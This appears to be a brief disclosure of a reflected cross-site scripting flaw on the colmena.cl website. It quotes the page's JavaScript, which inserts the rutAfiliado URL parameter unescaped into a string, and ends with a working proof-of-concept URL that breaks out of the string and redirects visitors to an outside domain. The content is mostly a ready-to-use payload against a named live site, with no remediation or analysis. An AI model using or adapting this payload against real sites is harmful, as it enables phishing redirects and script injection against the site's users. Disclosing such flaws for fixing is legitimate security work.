Colmena.cl XSS

function verificaAcceso(){
    var rut  = null;
    
    rut = '111111111' != 'null' ? '111111111' : null;
    
    if (rut != null){
        document.getElementById("userAfiliado").value  = rut;
        document.getElementById("userAfiliado").disabled = true;
        buscarDocumentos();
    }else {
        document.getElementById("userAfiliado").value  = "";
        document.getElementById("userAfiliado").disabled = false;
    };
};

https://www.colmena.cl/CDP/?rutAfiliado=’;window.location=”https://90.cl”;//